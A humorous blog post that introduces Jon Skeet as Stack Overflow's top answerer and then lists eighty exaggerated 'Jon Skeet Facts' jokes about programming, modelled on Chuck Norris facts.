Just wait for the page to load and then press the following sequence of keys (use arrow keys for the up/down/left/right — don’t spell out the actual words):

up-up-down-down-left-right-left-right-b-a

Yesterday, I was on a tweeting spree about Jon Skeet Facts and it occurred to me that putting every thing in just one post would make sense for someone to read, digest & knock his head off laughing than scrolling through my monstrous Twitter timeline.

First, Who the hell is Jon Skeet and Why is he so famous?

The answer is simple, Jon Skeet is a senior software engineer currently at Google. He is a C# legend, won the Microsoft MVP award several times and also a Java developer, he actually writes Java at Google.

Jon Skeet became famous on StackOverflow (#1 programmer resource for finding solutions to problems) and he has maintained the position of being the all-time #1 answerer to programming questions asked on StackOverflow. He has helped millions of programmers by providing quality, descriptive answers to their programming challenges.

One thing that actually struck me about Jon Skeet is that he’s actually a full-time developer employed at an organization, yet takes time out of his busy schedule to share his knowledge and help other programmers. So, we have decided to recognize him for his knowledge, passion and willingness to help fellow programmers get better at their craft by labeling him the Chuck Norris of programming.

Now, let’s get to it. I’ll ask a second time.

Who the hell is Jon Skeet? — asked by a Programmer on StackOverflow.

The answers that followed were exhilarating, hilarious, humorous, and chucklesome. Brace up for a long ride of dying, choking & resurrecting several times on this very long list of responses.

1. Jon Skeet’s code doesn’t follow a coding convention. It is the coding convention.
2. Users don’t mark Jon Skeet’s answers as accepted. The universe accepts them out of a sense of truth and justice.
3. Jon Skeet can divide by Zero.
4. Jon Skeet’s SO reputation is only as modest as it is because of integer overflow (SQL Server does not have a datatype large enough).
5. Jon Skeet is the only top 100 SO user who is human. The others are bots that he coded to pass the time between questions.
6. Jon Skeet coded his last project entirely in Microsoft Paint, just for the challenge.
7. Jon Skeet does not use exceptions when programming. He has not been able to identify any of his code that is not exceptional.
8. When Jon Skeet’s code fails to compile, the compiler apologizes.
9. Jon Skeet does not use revision control software. None of his code has ever needed revision.
10. When you search for “guru” on Google it says “Did you mean Jon Skeet?”
11. There are two types of programmers: good programmers, and those who are not Jon Skeet.
12. When Jon Skeet points to null, null quakes in fear.
13. Jon Skeet is the traveling salesman. Only he knows the shortest route.
14. Jon Skeet took the red pill and the blue pill, and can phase-shift in and out of the Matrix at will.
15. When Jon pushes a value onto a stack, it stays pushed.
16. When invoking one of Jon’s callbacks, the runtime adds “please”.
17. Drivers think twice before they dare interrupt Jon’s code.
18. Jon Skeet does not sleep…. He waits.
19. Jon Skeet does not recognize anonymous types in .NET .. he knows everyone of them and where they live.
20. Jon Skeet doesn’t answer questions on SO.. he stares them down till they answer themselves.
21. Jon Skeet can stop an infinite loop just by thinking about it.
22. Jon Skeet doesn’t need a debugger, he just stares down the bug until the code confesses.
23. There is no ‘CTRL’ button on Jon Skeet’s computer. Jon Skeet is always in control.
24. Jon Skeet won the “Hello World in less than 20 bytes” contest by developing a single byte program.
25. Jon Skeet does not resolve software problems. The problems resolve themselves the moment he walks into the office.
26. Jon Skeet can answer a question well before it is asked and then get several up-votes whilst he has yet to finish typing the solution.
27. The Jon Skeet badge is awarded for posting a better answer than Jon Skeet. Only Jon Skeet can earn this badge.
28. God said: ‘Let there be light,’ only so he could see what Jon Skeet was up to.
29. Jon Skeet’s keyboard doesn’t have F1 key, the computer asks for help from him.
30. When Jon Skeet presses Ctrl+Alt+Delete, a worldwide computer restart is initiated. The same goes for format.
31. Jon Skeet uses Visual Studio to burn CDs.
32. Jon Skeet is not close to perfection, perfection is close to Jon Skeet.
33. God didn’t really create the world in six days, because Jon Skeet optimized it to one.
34. Jon Skeet dreams in ones and zeros. When two shows up, it is a nightmare. But again that’s only in theory. Two doesn’t exist for Jon.
35. Seventh normal form (7NF) for database normalization is Jon Skeet.
36. When Jon Skeet solves an equation, the variables become constants.
37. If anyone writes delete JonSkeet; in C, the Apocalypse will come.
38. Once Jon Skeet went to the library… Since then the library was dynamically linked.
39. Jon Skeet has the key to Open Source. He just doesn’t want to close it.
40. Compatibility doesn’t exist in Jon Skeet’s dictionary. He can easily work in Microsoft Office in Linux on a Mac.
41. When Jon Skeet is programming, the Garbage Collector rests. The objects know when to destroy themselves.
42. If the Internet is the web, then Jon Skeet is the spider.
43. When Jon Skeet is on a diet and doesn’t eat fast food, all hard disks change from FAT to NTFS.
44. Jon Skeet has written the best programming language. Its source has just one command… void JonSkeet();
45. Jon Skeet doesn’t use #include. He thinks of it as cheating.
46. When a null reference exception goes to sleep, it checks under the bed for Jon Skeet.
47. Jon Skeet doesn’t need delegates, he does all the work himself.
48. Jon Skeet doesn’t call a background worker, background workers call Jon Skeet.
49. Jon Skeet doesn’t write books, the words assemble themselves out of fear.
50. When Jon Skeet throws an exception, nothing can catch it.
51. .NET uses Just-In-Time compilation because every instruction must first be approved by Jon Skeet.
52. Jon Skeet is beyond Turing-complete; he is Turing-invincible.
53. There is simply no Halting Problem within a 10-meter radius of John Skeet, because computers ALWAYS halt in his presence.
54. Jon Skeet doesn’t look for reputation. Reputation looks for Jon Skeet.
55. Jon Skeet can do pair programming with himself.
56. When Jon installed Visual Studio he opted not to install the debugger.
57. When Jon saves a file, the file thanks him.
58. Jon Skeet is immutable. If something’s going to change, it’s going to have to be the rest of the universe.
59. Jon Skeet’s addition operator doesn’t commute; it teleports to where he needs it to be.
60. Anonymous methods and anonymous types are really all called Jon Skeet. They just don’t like to boast.
61. Jon Skeet doesn’t have performance bottlenecks. He just makes the universe wait its turn.
62. Jeff Atwood bought a monster GPU just to calculate John Skeet’s rep on Stack Overflow. CPUs don’t cut it anymore.
63. When John Skeet does a search on Google.. the only result is “I’ll be right back”.
64. John Skeet returned IntelliSense and got his money back!
65. Norman Bates lives a normal life today… John Skeet fixed the unwanted callbacks and rewrote Mother.Dispose().
66. When John Skeet presses F5, the Garbage collector collects itself.. there is no other garbage.
67. Jon Skeet once wrote an entire operating system in his sleep on a Treo with no battery, powered only by the force of his will.
68. The only time Jon Skeet was wrong was when he thought he had made a mistake.
69. If you have 10000 reputation points and Jon Skeet has 10000 reputation points, Jon Skeet has more reputation than you.
70. Jon Skeet does not run his programs. He just whispers “you better run”. And it runs.
71. Jon Skeet was once second in rank, behind Jon Skeet.
72. Jon Skeet codes only with final sealed methods. No one has ever needed to override any of Jon Skeet’s code.
73. Jon Skeet is IntelliSense.
74. Jon Skeet’s heart rate is 5 GHz.
75. .NET Jon Skeet Special Edition has an improved implementation of JIT compilation, called ‘Just-In-Case’ compilation.
76. Private methods in other libraries become public automatically once required in Jon Skeet’s code.
77. When Yoda needs advice, he calls Jon Skeet.
78. Only Jon Skeet earned the coveted “Jon Skeet” badge.
79. Skeeted: The act of attempting to answer a Stack Overflow question only to find out that Jon Skeet has already answered it definitively and better than you would have ever done.
80. If Jon Skeet posts a duplicate question on StackOverflow, the original question will be closed as a duplicate.

Jon Skeet’s Facts are on StackOverflow. We also have the Jeff Dean Facts on Quora. If you love this post, please click the recommend button so that others can discover & laugh their ass off.

Let me know which of the statements got your brain memory in a Stack Overflow of Laughter and also add your own Jon Skeet Facts in the comments section!